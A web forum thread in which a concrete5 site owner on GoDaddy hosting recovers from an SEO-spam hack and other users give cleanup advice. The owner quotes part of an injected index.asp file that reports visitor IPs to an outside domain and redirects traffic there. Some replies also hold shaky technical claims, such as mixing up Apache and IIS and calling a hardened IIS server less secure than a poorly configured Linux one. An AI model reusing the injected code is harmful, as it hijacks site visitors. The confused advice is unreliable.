Website Hacked - Struggling To Recover

Permalink
Hi all,
This has been stressing me out quite a bit so assistance would definitely be appreciated!

Basically I got an alert via Google Webmaster Tools that my site had been hacked and extra URLs injected, and sure enough, when I searched 'site:crimsonnight.com' they showed up. I then rang my Domain/Hosting company, GoDaddy. The man I spoke to put me on hold for 40 minutes only to tell me he couldn't see any signs of it being hacked. During this time I went through things myself and opened a file I didn't remember seeing titled 'index.asp' which contained code such as the following:

else
    if instr(Request.ServerVariables("QUERY_STRING"),"shop=") > 0 or instr(Request.ServerVariables("QUERY_STRING"),"keyword=") > 0 then
      GetHtml("http://get9.fashioncollectionss.com/51la.php?type=asp&ip="&Request.ServerVariables("REMOTE_ADDR")&"&shell="&Request.ServerVariables("SERVER_NAME"))
      url = "http://get9.fashioncollectionss.com/domain_redirect.php?type=redirect&dstring="&Request.ServerVariables("SERVER_NAME")&"&do_id="&d_id
      response.redirect url
    else
      oldContent = GetHtml("http://"&Request.ServerVariables("SERVER_NAME")&"/ts_index.html")
      response.Write(oldContent)
       Response.end()
(full file attached)

As my site is not a fashion site this rang alarm bells and I thought it would try deleting the file. I requested Google do another sweep of my site and so far I don't have any security issues listed so I thought the problem was solved.

I went to the login page of my site today (http://crimsonnight.com/index.php/login) and was greeted with numerous 'Warnings'. Although I'm able to log in, none of the Concrete5 interface is being displayed, replaced instead with more warnings.

Apologies if I haven't posted this is the correct subforum, but I thought this one would be the most relevant to my problem - any assistance would be greatly appreciated!

1 Attachment

View Replies:
robodev replied on at Permalink Reply
I am an IT security guy who happens to use C5 for four websites.

First of all, the errors I see on your site may be due to phpinfo.php on the hosting site if the session.save_path is not set. The two errors I see are:

1) Unknown: open(D:\Hosting\12345\html/files/tmp\sess_1234567, O_RDWR) failed: Permission denied (13) in <b>Unknown</b> on line <b>0</b><br />

2) Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct"

The fix for that is to change the phpinfo.php file:

replace session_start();

with

session_save_path(“/tmp”); session_start();

With respect to the hack:

The first thing you need to try to establish is when the hack happened. For example, if you get to your hosting Cpanel (or ideally if you get root command-line access), you need to look at dates on files, and there are log files that may be useful as well.

Without knowing the specifics of how you were hacked, either:

a) your site credentials have been guessed or otherwise compromised through a SQL injection exploit, someone has been able to add their content to the CMS

b) Someone has simply added html content to the web server, then hacked the Apache .htaccess to serve the content and potentially exploited incorrect file permissions or SQL injection to be able to write content to the web server.

c) the other possibility is the server OS itself got hacked. Do you have SSH (port 22) access open for remote admininstration? There are some recent attacks (e.g. Poodle, Heartbleed). Also, do you have FTP or other means by which files or content can be written to the server. Anything that can post can potentially exploit a security vulnerabiltiy or misconfiguration.

d) And hopefully we are confident that our domain and cPanel did not get hacked. I would assume your hosting company keeps cpanel patched and would detect/block somebody hacking your domain credentials.

In most deployments C5 is running on Apache, such that the .htaccess file is what tells the web server what valid URLs to serve.

First stop is to look at the .htaccess file. Is the file date of the file somewhat old, or does it show a date near or about the hack date. Next the contents of the file need to be investigated for redirects, additional ports open, etc.

Next your Site.php needs to be looked at.

I am very interested in finding the root cause of this--either there is a security vuln in one of the components, there is a security misconfiguration in the server, or some of your apps or components have opened the door to an exploit.

I assume you are running C5 on a standard LAMP server? If so are you familiar with how Linux does logging? The log files for apache as well as for the server itself may provide clues. There are also logs in the MySQL database, plus it's fairly easy to spot an issue such as if someone created another user.

Do you by chance have a mirror or offline copy of the site? This may be useful if the hack is not so obvious. And also, do you have a backup.
crimsonnight replied on at Permalink Reply
Hi robodev, thanks so much for your detailed reply!

I should apologise in advance - one of the reasons I use C5 is because my web dev skills are definitely at a beginners level, as such I don't know how well I'm able to answer your questions without assistance.

I've done a bit of digging but I can't find the location of the phpinfo.php file, would you be able to link me to it's location?

c: how do I check this?

Where do I find the .htaccess file?

My site.php looks correct and hasn't been modified since June.

I don't know if I'm running C5 on a LAMP server I'm afraid, I've grabbed the following details from GoDaddy though if they're of any help:

OPERATING SYSTEM
WINDOWS
IIS VERSION
IIS 7.0
.NET VERSION
ASP.Net 2.0/3.0/3.5
DATA CENTER
United States
HOSTNAME
crimsonnight.com
HOSTING CONFIGURATION
2.1

I haven't created any backups since migrating to C5 as from what I've read I gathered you can't use backups to restore C5 as it messes with the installation?

Thanks once again
AndyJ replied on at Permalink Reply
hi,
there was a typo in Robodev's reply. The file you are looking for is php.ini - but I doubt you'll have access to it if you are on shared hosting.

You can try adding a php.ini file with just that line in to the root of your website but your webserver might ignore it. The path where php is trying to write the session info is under your website's /files directory so I'd check the file permissions on /files and subdirectories as this could be causing that issue.

You won't have an .htaccess file either as you are on a windows server.

Look for any other .asp files in any folders in your website - they should not be there.
Do everything robodev said and change any and all passwords. Take a backup of the website code and the database.
crimsonnight replied on at Permalink Reply
I have a php5.ini file in the root - could I insert the code there?

I'm pretty sure I initially had a problem installing C5 to the server so GoDaddy created the file for me - it currently contains the following code:
cgi.fix_pathinfo = 1
register_globals = off
allow_url_fopen = off
expose_php = Off
max_input_time = 60
variables_order = "EGPCS"
extension_dir = ./
upload_tmp_dir = /tmp
precision = 12
SMTP = relay-hosting.secureserver.net
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=,fieldset="
; Only uncomment zend optimizer lines if your application requires Zend Optimizer support
;[Zend]
;zend_optimizer.optimization_level=15
;zend_extension_manager.optimizer=/usr/local/Zend/lib/Optimizer-3.3.3
robodev replied on at Permalink Reply
You are missing your session.save path, add that to the ini file:

session_save_path('/tmp');

NOTE: I am pretty sure the 'tmp' needs single ticks, not quotes " "

Your two error messages are:

1) Unknown: open(D:\Hosting\12345\html/files/tmp\sess_1234567, O_RDWR) failed: Permission denied (13) in <b>Unknown</b> on line <b>0</b><br />

here it is trying to write a session temp file where it cannot

2) Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct"

Also, by the way, your addthis plugin needs reconfiguration, that's why the #sthash on your URL

"#sthash is a feature of ShareThis called as "CopyNShare" -
http://support.sharethis.com/customer/portal/articles/961937...

visit plugin settings page--In ShareThis configuration settings, on step 4, you will see "Enable CopyNShare" option, uncheck all the checkboxes.
- Measure copy and shares of your website's content
- Measure copy and shares of your website's URLs

The site builtwith tells me your web server is running IIS web server...you do not need to have IIS running, C5 runs on Apache

http://builtwith.com/crimsonnight.com...
crimsonnight replied on at Permalink Reply
Thanks again, I tried adding that line to php5.ini with both single and double quotes but neither fixed the problem unfortunately.

Thanks for the info about my ShareThis plugin - I'll tackle that as soon as I'm able to access my dashboard again
robodev replied on at Permalink Reply
in your error message:

D:\Hosting\2499211\html/files/tmp\sess_h3256l69siqoce0vl9uui38v27, O_RDWR

Create a folder called tmp at D:\Hosting\2499211\html\tmp

Your php5.ini should be at the root of your hosting directory

In that file add:
session.save_path = D:\Hosting\2499211\html\tmp

One way wordpress servers are hacked involves bad code in php.ini file. Look for weird php.ini files.

I would expect that you would need to restart apache in order for it to take effect, and GoDaddy says sometimes it takes time for PHP to start working again.

Sometimes if there are multiple configuration files, and you are not sure if you have the correct one, rename the file you've got--if nothing happens you've got the wrong file. That's called the 'sledgehammer approach'. Sometimes there is a php.ini and a php5.ini in the same folder, there needs to be one or the other, not both.

The other issue is whether the /tmp folder specified in the ini file exists and has the correct permissions set, and has space to store the session files. Make sure the disk is not full.

In some cases clearing out the session files and restarting the server can help. Do not delete any directores in the /tmp folder.

If a server is compromised, one thing it can be used for is to host some sort of data---and one consequence of that is that all the server disk space may be full.
crimsonnight replied on at Permalink Reply
Thanks for your thorough response.

There isn't a folder entitled 'Hosting' or '2499211' on the root of my server (well that I can see from GoDaddy's file manager/FileZilla) there is an 'html' folder though so I've created a 'tmp' folder in the root and in the html folder. I've added the line: 'session.save_path = D:\tmp' to the php5.ini for now due to being unable to locate the folder you've specified.

I haven't come across any other out of place files yet luckily.

Restarting the apache involves restarting the server right? I can't see anywhere to do that from the control panel - I'll submit a support request once I'm able to create the tmp folder in the correct place.

No extra disk space has been used luckily :)
AndyJ replied on at Permalink Reply
hi Crimsonnight,
I think there has been a little bit of confusion.
Your website is running in IIS I believe - not Apache (apologies if this is not correct).

If you need to reload the website your hosting should hopefully have the IIS management console somewhere where you can stop and start your website. I'm guessing you were just using static html pages before and you decided to use C5 instead.

Your original issue might only have been a file permissions issue: what are your file permissions set to for /files and its sub-directories.
crimsonnight replied on at Permalink Reply
Ah ha, it does indeed! I can't see a stop/reboot option in the management console though - there is an option to 'Recycle App Pool' however.

The 'files' directory was web-visible, but not web-writeable. I added web-writeable to the permissions and recycled the app pool and it seems to have worked!! Thank you so much *bows*

The weird thing is, (although I hadn't logged in for a couple of months), I've had absolutely no issues with C5 until the 'hack'... seems strange that they'd only change permissions of a directory and add an .asp file? I suppose the next step is figuring out how it happened, and figuring out the best way to prevent it happening again.

Thanks again guys for your assistance so far :)
crimsonnight replied on at Permalink Reply
Damn, trying to install the lasted C5 update and I can't because: 'The directory D:\Hosting\2499211\html/updates does not exist.' - Any ideas? :(

Also, is there a way to create a backup from within C5 or should I just copy everything manually?
AndyJ replied on at Permalink Reply
you need to create an /updates directory under your site root.

To be brutally honest - if I were you I think I'd switch my hosting to Linux hosting and install c5 on there and migrate it.

There's nothing particularly wrong with running c5 on windows under IIS but it would be classed as more of an 'expert' configuration. The standard way to run c5 is on Linux using Apache - you'll find it easier to get advice on any issues on the forum here running that config.

Please - take a backup before trying to upgrade. Your installation sounds a little flaky (this is not meant to be a criticism - but you have folders missing etc - it's worrying).
robodev replied on at Permalink Reply
I second the 'Switch to Linux' advice. I have seen lots of things hacked, and I do web app pen testing as part of my job. A very well hardened IIS server is less secure than a poorly configured Linux server.
crimsonnight replied on at Permalink Reply
How would you recommend migrating to linux, what's the easiest way to go about it (both in terms of GoDaddy and C5)? Think it might be necessary, getting an 'internal server error (500)' when I try to download the C5 update...

*EDIT* I'm guessing it'll be relatively easy to switch to a linux server:https://support.godaddy.com/help/article/1285/switching-your-hosting... but how will that effect my C5 install?
AndyJ replied on at Permalink Reply
glad it's working.

However, I'd be extremely paranoid right now. Having seen the code that was added it doesn't look like a sophisticated hack - but your logins/passwords etc might have been shared all over the web and there is always the possibility of different/further hacks.

As well as making sure your site is clean you need to change your hosting password / any C5 passwords / ftp password or RDP or however you access. You should also change your MySQL password.

Ideally you'd get a copy of the website and db down locally and scan through it.
crimsonnight replied on at Permalink Reply
Cheers Andy, I'll do all that and report back if I have any problems :)
crimsonnight replied on at Permalink Reply
Regarding the ShareThis advice, where is the plugin settings/configuration page you're referring to?
robodev replied on at Permalink Reply
ShareThis works by changing the options when you log into their site to choose your button design and so forth. Somewhere in there, those settings will kill the odd url issue.

One thing to note is that I've had issues with the buttons not working on iPad. I believe to get them to work on an IOS device you need to pay for the buttons that work.
crimsonnight replied on at Permalink Reply
It's strange, I can't find any of those ShareThis options anywhere... I added the code from here but it hasn't seem to have done the trick:http://support.sharethis.com/customer/portal/articles/961937#sthash...

Also, I've migrated to a Linux server folks - still getting the internal server error when I try and download the C5 update though which is pretty concerning...
AndyJ replied on at Permalink Reply
this all sounds very strange?
Are you running C5 on a windows server?
robodev replied on at Permalink Reply
The OP indicated it is a GoDaddy hosting account. That is most likely Ubuntu 14.04 LTS.
AndyJ replied on at Permalink Reply
seems a bit strange for a hacker to be adding ASP scripts onto a Linux box. Doesn't make sense to me at all. Unless they just upload asp and php sripts to cover all eventualities - I've not seen this before.
robodev replied on at Permalink Reply
Provided that IIS is not running--there is no reason for IIS to be running on a WAMP server--then the ASP script does nothing at all except cause a lot of worry.